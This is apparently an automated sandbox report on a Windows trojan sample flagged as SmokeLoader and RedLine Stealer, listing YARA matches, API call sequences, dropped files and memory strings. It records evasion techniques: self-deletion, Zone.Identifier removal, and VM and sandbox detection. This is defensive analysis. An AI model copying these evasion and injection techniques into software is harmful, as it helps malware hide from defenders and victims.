Source: explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401553 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401553
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00403005 RtlCreateUserThread,NtTerminateProcess,	0_2_00403005
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401561 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401561
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_0040156B NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_0040156F NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156F
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401729
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_004023E5 NtQuerySystemInformation,	0_2_004023E5
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401583 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401587 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_004026A0 NtEnumerateKey,	0_2_004026A0
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401553 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401553
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00403005 RtlCreateUserThread,NtTerminateProcess,	5_2_00403005
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401561 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401561
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_0040156B NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_0040156B
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_0040156F NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_0040156F
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401729
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_004023E5 NtQuerySystemInformation,	5_2_004023E5
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401583 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401583
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401587 NtDuplicateObject,EntryPoint,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401587
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_004026A0 NtEnumerateKey,	5_2_004026A0

Source: C:\Windows\explorer.exe	Code function: 1_2_07DC2968		1_2_07DC2968
Source: C:\Windows\explorer.exe	Code function: 1_2_08822968		1_2_08822968

Source: Qi4Mj8hG3t.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Qi4Mj8hG3t.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: hehbwci.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/2@1/1

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

Code function: 0_2_025D221F CreateToolhelp32Snapshot,Module32First,

0_2_025D221F

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hehbwci

Jump to behavior

Source: Qi4Mj8hG3t.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Qi4Mj8hG3t.exe	ReversingLabs: Detection: 65%
Source: Qi4Mj8hG3t.exe	Virustotal: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\Qi4Mj8hG3t.exe "C:\Users\user\Desktop\Qi4Mj8hG3t.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hehbwci C:\Users\user\AppData\Roaming\hehbwci

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Unpacked PE file: 0.2.Qi4Mj8hG3t.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\hehbwci	Unpacked PE file: 5.2.hehbwci.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00403253 push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00401C64 push es; retf	0_2_00401C83
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_0040332A push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_00402F91 push 60B44389h; retf	0_2_00402FAB
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_02451CCB push es; retf	0_2_02451CEA
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_02452FF8 push 60B44389h; retf	0_2_02453012
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_025CF05E push eax; ret	0_2_025CF06D
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_025CF14C push eax; retf	0_2_025CF14D
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00403253 push eax; ret	5_2_0040332D
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00401C64 push es; retf	5_2_00401C83
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_0040332A push eax; ret	5_2_0040332D
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_00402F91 push 60B44389h; retf	5_2_00402FAB
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_02451CCB push es; retf	5_2_02451CEA
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_02452FF8 push 60B44389h; retf	5_2_02453012

Source: Qi4Mj8hG3t.exe	Static PE information: section name: .text entropy: 7.299516897254431
Source: hehbwci.1.dr	Static PE information: section name: .text entropy: 7.299516897254431

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hehbwci

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hehbwci

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\qi4mj8hg3t.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hehbwci:Zone.Identifier read attributes | delete

Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\hehbwci	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\hehbwci	API/Special instruction interceptor: Address: 7FFE2220D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Qi4Mj8hG3t.exe, 00000000.00000002.1830453511.00000000025BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: hehbwci, 00000005.00000002.2105260691.00000000026AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKV

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 415	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 524	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 884	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 871	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6780	Thread sleep count: 415 > 30			Jump to behavior
Source: C:\Windows\explorer.exe TID: 1360	Thread sleep count: 524 > 30			Jump to behavior

Source: explorer.exe, 00000001.00000000.1819387834.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1818830286.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1816269337.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1819387834.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1814342240.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1819387834.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1818830286.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
